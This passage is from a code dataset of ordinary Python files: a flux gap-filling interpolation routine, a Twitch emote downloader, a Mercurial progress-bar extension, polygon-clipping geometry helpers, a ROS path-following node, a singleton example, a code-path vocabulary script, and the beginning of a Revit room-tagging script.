   Calculate interpolation of gaps, two techniques implemented\n    # data:             Dataframe with timestamp index, flux measurements, and maybe meteo\n    # flux_org:         Data column with original measured fluxed to be filled/used and rest set to nan\n    # technique:        Interpolation technique 'IP_lin' or 'IP_mov'\n    # scenario:         Scenario for gap filling ('hhs', 'days', or 'none', see also gen_index())\n    #\n    # TESTING: flux_org=mgf.utl.name_flux(ini); technique='IP_mov'; scenario='hhs'; scenario='days';\n    \n    flux_fm = technique +'_'+ scenario #Flux filled with fill-technique\n    print('>>> Fill technique:', flux_fm)\n    data[flux_fm]=np.nan\n    # For linear interpolation, all real gaps could be filled at once.\n    # Loop only need to simulate artificial gaps, each at a time.\n    # Limit interpolation to certain day window to speed up processing.\n    win_days = 1 #must be at least ±1 for linear interpolation and also for days scenario\n    gapl_S = mgf.utl.set_gapl_S() #pre-definded length of short gaps\n    num_gaps = data[flux_fm].isnull().sum()\n    while num_gaps > 0:\n        check_gaps = data[flux_fm].isnull()\n        array_gaps = np.array(range(0,data.shape[0]))[np.array(check_gaps)]\n        # Calculate IP value\n        #print('>', win_days, check_gaps.sum())\n        for i_g in array_gaps:\n        #TESTING: for i_g in array_gaps[0:20]: # for i_g in array_gaps[16696:(16696+20)]: # i_g = 0\n            # limit = maximum number of consecutive values set to (win_days*48) to ensures that gap does not range to end of ±win_days period\n            df_window = data[data.index.isin(gen_index(data.index[i_g], win_days=win_days, win_hhs=-1, scenario='none'))] #Continuous index without scenario\n            entries = df_window.index.isin(gen_index(data.index[i_g], win_days=win_days, win_hhs=-1, scenario=scenario)) #Index with scenario\n            df_window.insert(0,'data',df_window[flux_org].where(entries))\n            df_window.insert(1,'gaps',mgf.utl.countGapsTot(df_window,'data'))\n           # Linear interpolation in two steps\n            # Attention: 'limit' does not limit gap size but only how many values are interpolated and 'inside','outside' did not work as expected...\n            if technique == 'IP_lin':\n                if (df_window['gaps'].loc[data.index[i_g]] <= gapl_S) : #Gaps are filled if short, at least start and end are available\n                # Interpolate with pandas.interpolate()\n                    data[flux_fm].iat[i_g] = df_window['data'].interpolate(technique='time', axis=0, limit=gapl_S, limit_direction='both').loc[data.index[i_g]] #So cool, single line routine!  \n#                elif (df_window['gaps'].loc[data.index[i_g]] < gapl_S) : #If within gapl_S interpolate with quarterly means\n#                    df_window.is_copy = False\n#                    # Calculate fixed 3h-mean and interpolate missing 3h-means\n#                    df_window['fix_3h'] = df_window['data'].groupby(pd.Grouper(freq='180min',closed='right',label='left')).apply(lambda g: g.mean()).interpolate(technique='time', axis=0, limit=win_days, limit_direction='both') \n#                    # Propagate NEXT valid observation backwards to fill gap (i.e. pure propagation, no further interpolation)\n#                    data[flux_fm].iat[i_g] = df_window['fix_3h'].bfill().loc[data.index[i_g]]\n                else: # Otherwise use daily means\n                    df_win_days = df_window['data'].groupby(pd.Grouper(freq='1d',closed='right',label='left')).apply(lambda g: g.mean()).interpolate(technique='time', axis=0, limit=win_days, limit_direction='both')\n                    data[flux_fm].iat[i_g] = df_win_days.loc[(data.index[i_g]- pd.DateOffset(hours=0.25)).strftime('%Y-%m-%d')] ## Use shifted time stamp to middle of half-hour to avoid midnight switch\n            elif technique == 'IP_mov': #Moving average interpolation\n                if (df_window['gaps'].loc[data.index[i_g]] <= gapl_S):   # Only up to gapl_S hh as for IP_lin\n                # Rolling = moving window with increasing window size.\n                # Moving average (= mean) to fill wholes in time series (= interpolation).\n                    roll_start = 5\n                    roll_step = 2\n                    min_hh = 2 #Minimum of available half-hours\n                    window = roll_start\n                    data[flux_fm].iat[i_g] = df_window['data'].rolling(window, center=True, min_periods=min_hh).mean().loc[data.index[i_g]]\n                    #while np.isnan(data[flux_fm].iat[i_g]) & ((window*0.5) < (win_days*48)): # Since center=True option, half the window critical\n                    while np.isnan(data[flux_fm].iat[i_g]):\n                        window = window + roll_step\n                        data[flux_fm].iat[i_g] = df_window['data'].rolling(window, center=True, min_periods=min_hh).mean().loc[data.index[i_g]]\n                else:\n                    min_days=2 #At least 2 for center of three days\n                    df_win_days = df_window['data'].groupby(pd.Grouper(freq='1d',closed='right',label='left')).apply(lambda g: g.mean()).rolling(window=min_days+win_days, center=True, min_periods=min_days).mean()\n                    data[flux_fm].iat[i_g] = df_win_days.loc[(data.index[i_g]- pd.DateOffset(hours=0.25)).strftime('%Y-%m-%d')] ## Use shifted time stamp to middle of half-hour to avoid midnight switch\n        # Increase window of days and break if too large\n        win_days = win_days + 1\n        num_gaps =  data[flux_fm].isnull().sum()\n        if (win_days > 10) & (num_gaps > 0):\n           print('>!', num_gaps, 'remaining gaps. Break since window size: ', win_days, ' is larger than ±10 for interpolations.)')\n           break\n\n","repo_name":"claudiodonofrio/mgf","sub_path":"build/lib/mgf/GFTechniques.py","file_name":"GFTechniques.py","file_ext":"py","file_size_in_byte":17940,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"4251836334","text":"import logging\nimport requests\nimport json\nimport sys\nimport config\nfrom pathlib import Path\nfrom abc import ABC, abstractmethod\nfrom utils import convert_webp_webm, convert_webp_png, check_directories, progressBar\n\nlogger = logging.getLogger(\"run\")\n\n\nclass BaseEmote(ABC):\n    def __init__(self, url, all_variants: bool = False):\n        self.url: str = url\n        self.emote_id: str = \"\"\n        self.name: str = \"\"\n        self.animated: bool = False\n        self.api_emote_url: str = \"\"\n        self.cdn_url: str = \"\"\n        self.cdn_file_name = \"\"\n        self.filepath = None\n        self.all_variants = all_variants\n\n    @classmethod\n    @abstractmethod\n    def get_emote_details(cls) -> None:\n        pass\n\n    @classmethod\n    @abstractmethod\n    def download_emote(cls) -> None:\n        pass\n\n    @classmethod\n    @abstractmethod\n    def get_emote_id(cls):\n        pass\n\n    def process_emote(self):\n        self.get_emote_id()\n        self.get_emote_details()\n        self.download_emote()\n        if self.animated:\n            convert_webp_webm(self.filepath, self.name)\n        else:\n            convert_webp_png(self.filepath, self.name)\n\n\nclass SevenTVEmote(BaseEmote):\n    def __init__(self, url):\n        super().__init__(url)\n        self.api_emote_url = \"https://7tv.io/v3/emotes/\"\n        self.cdn_url = \"http://cdn.7tv.app/emote/\"\n        self.cdn_file_name = \"4x.webp\"\n\n    def get_emote_id(self):\n        self.emote_id = self.url.split(\"/\")[-1]\n\n    def get_emote_details(self):\n        url = self.api_emote_url + self.emote_id\n        response = requests.get(url)\n        if response.status_code == 200:\n            response_dict = json.loads(response.content.decode(\"utf-8\"))\n            self.name = response_dict[\"name\"]\n            self.animated = response_dict[\"animated\"]\n        else:\n            logger.error(f\"Failed to get emote name of id: {self.emote_id}. Status code: {response.status_code}\")\n\n    def download_emote(self):\n        download_url = self.cdn_url + self.emote_id + \"/\" + self.cdn_file_name\n        self.filepath = Path(config.TEMP_FOLDER + self.name + \"_\" + self.cdn_file_name)\n        response = requests.get(download_url)\n        if response.status_code == 200:\n            with open(self.filepath, \"wb\") as file:\n                file.write(response.content)\n            logger.info(f\"Emote file with id {self.emote_id} downloaded successfully.\")\n        else:\n            logger.error(f\"Failed to download emote file with id {self.emote_id}. Status code:\", response.status_code)\n\n\nclass BetterTTVEmote(BaseEmote):\n    def __init__(self, url):\n        super().__init__(url)\n        self.api_emote_url = \"https://api.betterttv.net/3/emotes/\"\n        self.cdn_url = \"https://cdn.betterttv.net/emote/\"\n        self.cdn_file_name = \"3x.webp\"\n\n    def get_emote_details(self):\n        url = self.api_emote_url + self.emote_id\n        response = requests.get(url)\n        if response.status_code == 200:\n            response_dict = json.loads(response.content.decode(\"utf-8\"))\n            self.name = response_dict[\"code\"]\n            self.animated = response_dict[\"animated\"]\n        else:\n            logger.error(f\"Failed to get emote name of id: {self.emote_id}. Status code: {response.status_code}\")\n\n    def download_emote(self):\n        download_url = self.cdn_url + self.emote_id + \"/\" + self.cdn_file_name\n        self.filepath = Path(config.TEMP_FOLDER + self.name + \"_\" + self.cdn_file_name)\n        response = requests.get(download_url)\n        if response.status_code == 200:\n            with open(self.filepath, \"wb\") as file:\n                file.write(response.content)\n            logger.info(f\"Emote file with id {self.emote_id} downloaded successfully.\")\n        else:\n            logger.error(f\"Failed to download emote file with id {self.emote_id}. Status code:\", response.status_code)\n\n    def get_emote_id(self):\n        self.emote_id = self.url.split(\"/\")[-1]\n\n\nclass FrankFaseZEmote(BaseEmote):\n    def __init__(self, url):\n        super().__init__(url)\n        self.api_emote_url = \"https://api.frankerfacez.com/v2/emote/\"\n        self.cdn_url = \"https://cdn.frankerfacez.com/emote/\"\n        self.cdn_file_name = \"\"\n\n    def get_emote_details(self):\n        url = self.api_emote_url + self.emote_id\n        response = requests.get(url)\n        if response.status_code == 200:\n            response_dict = json.loads(response.content.decode(\"utf-8\"))\n            self.name = response_dict[\"emote\"][\"name\"]\n            self.animated = response_dict[\"emote\"][\"animated\"]\n        else:\n            logger.error(f\"Failed to get emote name of id: {self.emote_id}. Status code: {response.status_code}\")\n\n    def download_emote(self):\n        if self.animated:\n            download_url = self.cdn_url + self.emote_id + \"/animated/4\"\n        else:\n            download_url = self.cdn_url + self.emote_id + \"/4\"\n        self.filepath = Path(config.TEMP_FOLDER + self.name + \".webp\")\n        response = requests.get(download_url)\n        if response.status_code == 200:\n            with open(self.filepath, \"wb\") as file:\n                file.write(response.content)\n            logger.info(f\"Emote file with id {self.emote_id} downloaded successfully.\")\n        else:\n            logger.error(f\"Failed to download emote file with id {self.emote_id}. Status code:\", response.status_code)\n\n    def get_emote_id(self):\n        self.emote_id = self.url.split(\"/\")[-1].split(\"-\")[0]\n\n\ndef main():\n\n    urls = []\n    urls_file = \"emote_links.txt\"\n    with open(urls_file, \"r\") as f:\n        urls.extend([line.strip() for line in f.readlines()])\n\n    logger.info(f\"Links: {urls}\")\n    if \"--all\" in sys.argv:\n        config.ALL_VARIANTS = True\n    if urls:\n        check_directories()\n    for url in progressBar(urls, prefix=\"Progress:\", suffix=\"Complete\", length=50):\n        try:\n            if \"7tv.app\" in url:\n                emote = SevenTVEmote(url)\n            elif \"betterttv.com\" in url:\n                emote = BetterTTVEmote(url)\n            elif \"frankerfacez.com\" in url:\n                emote = FrankFaseZEmote(url)\n            else:\n                continue\n            emote.process_emote()\n        except Exception as e:\n            logger.exception(f\"Exception caught while processing {url}: {e}\")\n\n\n# TODO: add poetry\n# TODO: update calling with args\nif __name__ == \"__main__\":\n    if sys.argv:\n        logger.info(f\"Args: {sys.argv}\")\n    main()\n","repo_name":"bodlan/emotetotgsticker","sub_path":"emote_to_sticker.py","file_name":"emote_to_sticker.py","file_ext":"py","file_size_in_byte":6422,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"35714079016","text":"import sys\nimport time\n\nfrom mercurial import util\n\ndef spacejoin(*args):\n    return ' '.join(s for s in args if s)\n\ndef shouldprint(ui):\n    return (getattr(sys.stderr, 'isatty', None) and\n            (sys.stderr.isatty() or ui.configbool('progress', 'assume-tty')))\n\nclass progbar(object):\n    def __init__(self, ui):\n        self.ui = ui\n        self.resetstate()\n\n    def resetstate(self):\n        self.topics = []\n        self.printed = False\n        self.lastprint = time.time() + float(self.ui.config(\n            'progress', 'delay', default=3))\n        self.indetcount = 0\n        self.refresh = float(self.ui.config(\n            'progress', 'refresh', default=0.1))\n        self.order = self.ui.configlist(\n            'progress', 'format',\n            default=['topic', 'bar', 'number'])\n\n    def show(self, topic, pos, item, unit, total):\n        if not shouldprint(self.ui):\n            return\n        termwidth = self.width()\n        self.printed = True\n        head = ''\n        needprogress = False\n        tail = ''\n        for indicator in self.order:\n            add = ''\n            if indicator == 'topic':\n                add = topic\n            elif indicator == 'number':\n                if total:\n                    add = ('% ' + str(len(str(total))) +\n                           's/%s') % (pos, total)\n                else:\n                    add = str(pos)\n            elif indicator.startswith('item') and item:\n                slice = 'end'\n                if '-' in indicator:\n                    wid = int(indicator.split('-')[1])\n                elif '+' in indicator:\n                    slice = 'beginning'\n                    wid = int(indicator.split('+')[1])\n                else:\n                    wid = 20\n                if slice == 'end':\n                    add = item[-wid:]\n                else:\n                    add = item[:wid]\n                add += (wid - len(add)) * ' '\n            elif indicator == 'bar':\n                add = ''\n                needprogress = True\n            elif indicator == 'unit' and unit:\n                add = unit\n            if not needprogress:\n                head = spacejoin(head, add)\n            else:\n                tail = spacejoin(add, tail)\n        if needprogress:\n            used = 0\n            if head:\n                used += len(head) + 1\n            if tail:\n                used += len(tail) + 1\n            progwidth = termwidth - used - 3\n            if total and pos <= total:\n                amt = pos * progwidth // total\n                bar = '=' * (amt - 1)\n                if amt > 0:\n                    bar += '>'\n                bar += ' ' * (progwidth - amt)\n            else:\n                progwidth -= 3\n                self.indetcount += 1\n                # mod the count by twice the width so we can make the\n                # cursor bounce between the right and left sides\n                amt = self.indetcount % (2 * progwidth)\n                amt -= progwidth\n                bar = (' ' * int(progwidth - abs(amt)) + '<=>' +\n                       ' ' * int(abs(amt)))\n            prog = ''.join(('[', bar , ']'))\n            out = spacejoin(head, prog, tail)\n        else:\n            out = spacejoin(head, tail)\n        sys.stderr.write('\\r' + out[:termwidth])\n        sys.stderr.flush()\n\n    def clear(self):\n        if not shouldprint(self.ui):\n            return\n        sys.stderr.write('\\r%s\\r' % (' ' * self.width()))\n\n    def complete(self):\n        if not shouldprint(self.ui):\n            return\n        if self.ui.configbool('progress', 'clear-complete', default=True):\n            self.clear()\n        else:\n            sys.stderr.write('\\n')\n        sys.stderr.flush()\n\n    def width(self):\n        tw = self.ui.termwidth()\n        return min(int(self.ui.config('progress', 'width', default=tw)), tw)\n\n    def progress(self, topic, pos, item='', unit='', total=None):\n        if pos is None:\n            if self.topics and self.topics[-1] == topic and self.printed:\n                self.complete()\n                self.resetstate()\n        else:\n            if topic not in self.topics:\n                self.topics.append(topic)\n            now = time.time()\n            if (now - self.lastprint >= self.refresh\n                and topic == self.topics[-1]):\n                self.lastprint = now\n                self.show(topic, pos, item, unit, total)\n\ndef uisetup(ui):\n    class progressui(ui.__class__):\n        _progbar = None\n\n        def progress(self, *args, **opts):\n            self._progbar.progress(*args, **opts)\n            return super(progressui, self).progress(*args, **opts)\n\n        def write(self, *args, **opts):\n            if self._progbar.printed:\n                self._progbar.clear()\n            return super(progressui, self).write(*args, **opts)\n\n        def write_err(self, *args, **opts):\n            if self._progbar.printed:\n                self._progbar.clear()\n            return super(progressui, self).write_err(*args, **opts)\n\n    # Apps that derive a class from ui.ui() can use\n    # setconfig('progress', 'disable', 'True') to disable this extension\n    if ui.configbool('progress', 'disable'):\n        return\n    if shouldprint(ui) and not ui.debugflag and not ui.quiet:\n        ui.__class__ = progressui\n        # we instantiate one globally shared progress bar to avoid\n        # competing progress bars when multiple UI objects get created\n        if not progressui._progbar:\n            progressui._progbar = progbar(ui)\n\ndef reposetup(ui, repo):\n    uisetup(repo.ui)\n","repo_name":"helloandre/cr48","sub_path":"bin/mercurial-1.7.5/hgext/progress.py","file_name":"progress.py","file_ext":"py","file_size_in_byte":5552,"program_lang":"python","lang":"en","doc_type":"code","stars":41,"dataset":"github-code","pt":"36"}
{"seq_id":"7919048931","text":"from __future__ import division\nfrom math import atan2\nimport numpy as np\n\n\n# Point helper methods\ndef is_in_bbox(point, bottom_left, upper_right):\n    return (\n        bottom_left[0] <= point[0]\n        and upper_right[0] >= point[0]\n        and bottom_left[1] <= point[1]\n        and upper_right[1] >= point[1]\n    )\n\n\n# LineString helper methods\ndef ray_line_intersection(ray_origin, ray_direction, line):\n    ray_array = np.array(ray_origin)\n    p1_array = np.array(line[0])\n    p2_array = np.array(line[1])\n    v1 = ray_array - p1_array\n    v2 = p2_array - p1_array\n    v3 = np.array([-ray_direction[1], ray_direction[0]])\n\n    dot = np.dot(v2, v3)\n\n    if abs(dot) < 1e-5:\n        return -1.0\n    t1 = np.cross(v2, v1) / dot\n    t2 = np.dot(v1, v3) / dot\n    if t1 >= 0.0 and (t2 >= 0.0 and t2 <= 1.0):\n        return t1\n\n    return -1.0\n\n\ndef clip_segment_bbox(linestring, bottom_left, upper_right):\n    new_line = []\n\n    if len(linestring) == 2:\n        t = np.array(linestring[1]) - np.array(linestring[0])\n        direction = t / np.linalg.norm(t)\n\n        origin_in = is_in_bbox(linestring[0], bottom_left, upper_right)\n        destination_in = is_in_bbox(linestring[1], bottom_left, upper_right)\n\n        if not origin_in and not destination_in:\n            return new_line\n\n        if origin_in:\n            new_line.append(linestring[0])\n\n        if origin_in and destination_in:\n            new_line.append(linestring[1])\n            return new_line\n\n        else:\n            t_intersections = []\n\n            # bottom border\n            border = [bottom_left, [upper_right[0], bottom_left[1]]]\n            t = ray_line_intersection(linestring[0], direction, border)\n            if t > -1.0:\n                t_intersections.append(t)\n\n            # left border\n            border = [bottom_left, [bottom_left[0], upper_right[1]]]\n            t = ray_line_intersection(linestring[0], direction, border)\n            if t > -1.0:\n                t_intersections.append(t)\n\n            # right border\n            border = [[upper_right[0], bottom_left[1]], upper_right]\n            t = ray_line_intersection(linestring[0], direction, border)\n            if t > -1.0:\n                t_intersections.append(t)\n            # upper border\n            border = [[bottom_left[0], upper_right[1]], upper_right]\n            t = ray_line_intersection(linestring[0], direction, border)\n            if t > -1.0:\n                t_intersections.append(t)\n\n            t_sorted = np.sort(np.array(t_intersections))\n\n            origin = np.array(linestring[0])\n            destination = np.array(linestring[1])\n            t_destination = (destination[0] - origin[0]) / direction[0]\n\n            for intersection in t_sorted:\n                if intersection < t_destination:\n                    new_point = origin + direction * intersection\n                    new_line.append(new_point.tolist())\n\n            if destination_in:\n                new_line.append(linestring[1])\n\n    return new_line\n\n\ndef segment_segment_intersection(segment1, segment2):\n    origin = np.array(segment1[0])\n    destination = np.array(segment1[1])\n    t = destination - origin\n    direction = t / np.linalg.norm(t)\n\n    t_intersection = ray_line_intersection(origin, direction, segment2)\n    dir_factor = 1 if np.allclose(direction[0], 0) else 0\n    t_destination = (destination[dir_factor] - origin[dir_factor]) / direction[\n        dir_factor\n    ]\n\n    if t_intersection < t_destination and t_intersection > 0:\n        return [origin + direction * t_intersection]\n\n    return []\n\n\ndef triangle_area2(point_1, point_2, point_3):\n    return (\n        point_1[0] * point_2[1]\n        - point_1[1] * point_2[0]\n        + point_2[0] * point_3[1]\n        - point_2[1] * point_3[0]\n        + point_3[0] * point_1[1]\n        - point_3[1] * point_1[0]\n    )\n\n\ndef left(point_1, point_2, point_3):\n    return triangle_area2(point_1, point_2, point_3) > 0\n\n\n# Polygon helper methods\n\n\ndef order_clockwise(polygon, direction):\n\n    center_x = 0\n    center_y = 0\n\n    for p in polygon:\n        center_x += p[0]\n        center_y += p[1]\n\n    if len(polygon) > 0:\n        center_x /= len(polygon)\n        center_y /= len(polygon)\n\n        polygon.sort(\n            key=lambda x: atan2(x[1] - center_y, x[0] - center_x), reverse=direction\n        )\n\n    return polygon\n\n\ndef point_in_convex_polygon(point, polygon):\n    for i in range(len(polygon) - 1):\n        if left(point, polygon[i], polygon[i + 1]):\n            return False\n\n    return True\n\n\ndef polygon_polygon_intersection(poly1, poly2):\n    clipped_polygon = []\n    poly1 = order_clockwise(poly1[:-1], True)\n    poly2 = order_clockwise(poly2[:-1], True)\n    poly1.append(poly1[0])\n    poly2.append(poly2[0])\n\n    # Take points of poly1 inside poly2\n    for p in poly1[:-1]:\n        if point_in_convex_polygon(p, poly2):\n            clipped_polygon.append(p)\n\n    # Take points of poly1 inside poly2\n    for p in poly2[:-1]:\n        if point_in_convex_polygon(p, poly1):\n            clipped_polygon.append(p)\n\n    # Detect collisions\n    for i in range(len(poly1) - 1):\n        line1 = [poly1[i], poly1[i + 1]]\n        for j in range(len(poly2) - 1):\n            line2 = [poly2[j], poly2[j + 1]]\n            point = segment_segment_intersection(line1, line2)\n            if len(point) > 0:\n                point_list = point[0].tolist()\n                clipped_polygon.append(point_list)\n\n    if len(clipped_polygon) > 0:\n        clipped_polygon = order_clockwise(clipped_polygon, False)\n        clipped_polygon.append(clipped_polygon[0])\n\n    return clipped_polygon\n","repo_name":"CartoDB/analytics-toolbox-core","sub_path":"clouds/redshift/libraries/python/lib/processing/voronoi/helper.py","file_name":"helper.py","file_ext":"py","file_size_in_byte":5595,"program_lang":"python","lang":"en","doc_type":"code","stars":181,"dataset":"github-code","pt":"36"}
{"seq_id":"21813786539","text":"#!/usr/bin/env python\n\nimport rospy\nimport os\nfrom astar import AStarAlgorithm\nimport math\nimport numpy as np\nimport heapq\nfrom PIL import Image\nfrom geometry_msgs.msg import Twist\nfrom sensor_msgs.msg import LaserScan\nfrom nav_msgs.msg import Odometry\n\n\nclass PathFollowing:\n    def __init__(self, start_pos, goal_pos):\n        self.max_speed = rospy.get_param(\"~max_speed\", 1)\n        self.max_steering = rospy.get_param(\"~max_steering\", 0.37)\n        self.cmd_vel_pub = rospy.Publisher(\"cmd_vel\", Twist, queue_size=1)\n        # self.scan_sub = rospy.Subscriber('scan', LaserScan, self.scan_callback, queue_size=1)\n        # self.odom_sub = rospy.Subscriber('odom', Odometry, self.odom_callback, queue_size=1)\n        self.start_pos = start_pos\n        self.goal_pos = goal_pos\n\n        astar_instance = AStarAlgorithm(\n            \"/home/chris/catkin_ws/src/RacecarS5/racecar_behaviors/scripts/brushfire.bmp\"\n        )\n        path, cost = astar_instance.astar(\n            start_pos,\n            goal_pos,\n            astar_instance.m_cost,\n            astar_instance.m_n,\n            astar_instance.m_h,\n        )\n\n        print(\n            \"Le plus court chemin entre %s et %s est : %s (%d)\"\n            % (start_pos, goal_pos, path, cost)\n        )\n\n\ndef main():\n    rospy.init_node(\"path_following\")\n    pathFollowing = PathFollowing((315, 167), (59, 135))\n    rospy.spin()\n\n\nif __name__ == \"__main__\":\n    try:\n        main()\n    except rospy.ROSInterruptException:\n        pass\n","repo_name":"loiccv123/RacecarS5","sub_path":"racecar_behaviors/scripts/path_following.py","file_name":"path_following.py","file_ext":"py","file_size_in_byte":1489,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"72484386023","text":"class DatabaseConnection:\n\n    _instance = None\n    _data = None\n\n    @classmethod\n    def instance(cls): \n        if cls._instance is None:\n            cls._instance = cls()\n        return cls._instance\n\n    def setAssignmentGrade(cls, student: str, course: str, assignment: str):\n        #Estamos simulando uma entrada de dados que será salva no Banco\n        cls._data = \"Aluno:\" + student + \" , Curso: \" + course + \" , Grade: \" + assignment \n\n    def getAssignmentGrade(cls):\n        return cls._data\n\n\nif __name__ == \"__main__\":\n    \n    databaseObjectA = DatabaseConnection.instance()\n    databaseObjectB = DatabaseConnection.instance()\n\n    databaseObjectA.setAssignmentGrade(\"John\", \"MBA\", \"Grade A\")\n\n    if (databaseObjectA.getAssignmentGrade().__eq__(databaseObjectB.getAssignmentGrade())):\n        print(\"true\")","repo_name":"esilvajr/esbd3","sub_path":"activities/singleton.py","file_name":"singleton.py","file_ext":"py","file_size_in_byte":824,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"10322805933","text":"import os\nimport pickle\nimport argparse\nimport pandas as pd\n\nfrom vocab import WordVocab\n\nfrom utils import split_camel\n\n\ndef parse_args():\n\n    parser = argparse.ArgumentParser(\"Path Vocab Generation!!\")\n\n    # 数据的路径\n    parser.add_argument('--data_path', type=str, default='/.../APathCS/path_data/',help=\"data location\")\n    # 数据的类型\n    parser.add_argument('--data_name', type=str, default='example', help=\"dataset name\")\n    # 语言的类型\n    parser.add_argument('--lang_type', type=str, default='java', help=\"different code type\")\n    # 词典的大小\n    parser.add_argument(\"--vocab_size\", default=None, type=int)\n    # 最小频率\n    parser.add_argument(\"--min_freq\", default=1, type=int)\n\n    return parser.parse_args()\n\n\ndef main():\n    # 参数配置\n    args = parse_args()\n\n    # /path_data/exmaple/java/\n    lang_path = os.path.join(args.data_path, args.data_name, args.lang_type)\n\n    # /data/hugang/DeveCode/PSCS/data/exmaple/java/code_path/test/java\n    input_path = os.path.join(lang_path,os.path.join('code_path','train',args.lang_type))\n    # /data/hugang/DeveCode/PSCS/data/exmaple/java/processed\n    out_path = os.path.join(lang_path, 'processed')\n\n    # 根据词典将token转为数字，\n    f = open(os.path.join(out_path,'descr_vocab.pickle'), 'rb')\n    descrs_vocab = pickle.load(f)\n    print(descrs_vocab)\n    f.close()\n\n    def protoken_func(x):\n        #  字符串切成列表\n        split_list = split_camel(x)\n        #  列表转成数字\n        num_list = descrs_vocab.to_seq(split_list)\n        #  拼接数字串\n        return ' '.join([str(i) for i in num_list])\n\n    '''\n    id\ttoken\n    14\tempty\n    78\tconcatMapEagerDelayError\n    70\toffer\n    23\tCheckReturnValue\n    '''\n\n    #  对代码的tokens做分词处理\n    tokens_paths = [os.path.join(lang_path,os.path.join('code_path', i, args.lang_type, 'tokens.csv')) for i in ['train','test']]\n\n    for tokens_path in tokens_paths:\n        # 读取csv数据\n        tokens = pd.read_csv(tokens_path)\n        tokens['token_cut'] = tokens['token'].apply(protoken_func)\n        tokens['token_cut'] = tokens['token_cut'].astype(str)\n        tokens.to_csv(tokens_path, index=False)\n\n    #node_types 包含 path_contexts和path指定的词\n    node_path = os.path.join(input_path, 'node_types.csv')\n    nodes_vocab = pd.read_csv(node_path)\n    nodes_vocab['node_type'] = nodes_vocab.apply(lambda x: '_'.join(x['node_type'].split()), axis=1)\n\n    '''\n               id                          node_type\n           0   43             ExpressionStatement_UP\n           1    3       SingleVariableDeclaration_UP\n    '''\n\n    node_idx = nodes_vocab.set_index('id').to_dict(orient='dict')\n    node_dict = node_idx['node_type']\n\n    '''\n    {'node_type': {43: 'ExpressionStatement_UP',... 3: 'SingleVariableDeclaration_UP'}\n    '''\n\n    paths_path = os.path.join(input_path, 'paths.csv')\n    paths = pd.read_csv(paths_path)\n    #path为数字转字符，先构建字典在映射\n    paths['path_tokens'] = paths.apply(lambda x: ' '.join([node_dict.get(int(i), '<unk>') for i in x['path'].split(' ')]), axis=1)\n\n    '''\n        id         path                                path_tokens\n    0    308       1 2 0 0 7 5           SimpleName_UP SimpleType_UP <unk> <unk> Method...\n    1    309       1 6 39 40 7 5         SimpleName_UP MethodInvocation_UP ClassInstanc...\n    '''\n    path_words= paths['path_tokens'].values.tolist()\n\n    vocab = WordVocab(path_words, max_size=args.vocab_size, min_freq=args.min_freq)\n    print(\"VOCAB SIZE:\", len(vocab))\n\n    vocab.save_vocab(os.path.join(out_path, 'path_vocab.pickle'))\n\n\nif __name__ == '__main__':\n    main()\n\n\n\n\n\n\n\n","repo_name":"miaoshenga/APathCS","sub_path":"scripts/data_process.py","file_name":"data_process.py","file_ext":"py","file_size_in_byte":3674,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"36"}
{"seq_id":"21952152158","text":"# -*- coding: utf-8 -*-\n\n__title__ = \"Маркировать\"\n__author__ = 'Tima Kutsko'\n__doc__ = \"Маркировка пространств или помещений\"\n\nimport sys\nimport Autodesk\nfrom Autodesk.Revit.DB import *\nfrom rpw import revit, db, ui\nfrom rpw.ui.forms import Console\nfrom pyrevit import script\n\n\nspaceList, roomList, tagList = [], [], []\ndoc = revit.doc\n\n\n# Functions\ndef GetUVPoint(pt):\n    if pt.GetType().ToString() == 'Autodesk.Revit.DB.XYZ':\n        return Autodesk.Revit.DB.UV(pt.X, pt.Y)\n    elif pt.GetType().ToString() == 'Autodesk.Revit.DB.UV':\n        return Autodesk.Revit.DB.UV(pt.U, pt.V)\n\n\ndef CreateSpaceTag(space, uv, view):\n    return doc.Create.NewSpaceTag(space, uv, view)\n\n\ndef CreateRoomTag(space, uv, view):\n    return doc.Create.NewRoomTag(roomId, uv, view)\n\n\n# Tag types\ntypes = FilteredElementCollector(doc).OfClass(FamilySymbol)\ntypeTags = [t for t in types if t.ToString() == 'Autodesk.Revit.DB.Mechanical.SpaceTagType' or t.ToString() == 'Autodesk.Revit.DB.Architecture.RoomTagType']\ntagTypeDict = {t.get_Parameter(BuiltInParameter.SYMBOL_FAMILY_AND_TYPE_NAMES_PARAM).AsString(): t for t in typeTags}\n# Linked model\nlinkModels = FilteredElementCollector(doc).OfClass(Autodesk.Revit.DB.RevitLinkInstance)\nlinkDict = {l.Name: l for l in linkModels}\nif len(typeTags) == 0 or linkModels.FirstElement() is None:\n    print(\"В проекте не хватает данных для обработки:\\n\"\n        \"1. Нет пространств/помещений;\\n\"\n        \"2. Нет подгруженных марок для пространств/помещений (хотя бы одного типа);\\n\"\n        \"3. Нет подгруженных моделей (связей)\\n\"\n        \"Все вышеперечисленные пункты содержат типовые проекты. Вы либо работаете с маленьким объектом, либо слишком рано пытаетесь запустить программу\\n\"\n        \"Для небольших объектов достаточно стандартных инструментов Revit\"\n    )\n    script.exit()\n\n# Selected planes\nselection = ui.Selection()\nviews = [v.unwrap() for v in selection]\nfor view in views:\n    try:\n        view_type = view.ViewType\n    except:\n        view_type = None\n    if view_type != ViewType.FloorPlan:\n        ui.forms.Alert('Нужно выбирать только планы!', title='pyKPLN_Маркировка пространств/помещений', exit=True)\t\n# Form\nComboBox = ui.forms.flexform.ComboBox\nLabel = ui.forms.flexform.Label\nButton = ui.forms.flexform.Button\nCheckBox = ui.forms.flexform.CheckBox\nTextBox = ui.forms.flexform.TextBox\nSeparator = ui.forms.flexform.Separator\nif len(selection) == 0:\n    ui.forms.Alert('Выбери (выдели через shift/ctrl) в модели план(-ы) для маркировки', title='pyKPLN_Маркировка пространств/помещений', exit=True)\t\t\nelse:\n    components = [Label(\"Узел ввода данных\"),\n            Label(\"1. Пространства или помещения:\"),\n            CheckBox('isRoom', 'Помещения', default = True),\n            CheckBox('isSpace', 'Пространства'),\n            Label(\"2. Тип марки для выбранной категории:\"),\n            ComboBox(\"tagType\", tagTypeDict),\n            Label(\"3. Связанная модель (ТОЛЬКО для помещений)?\"),\n            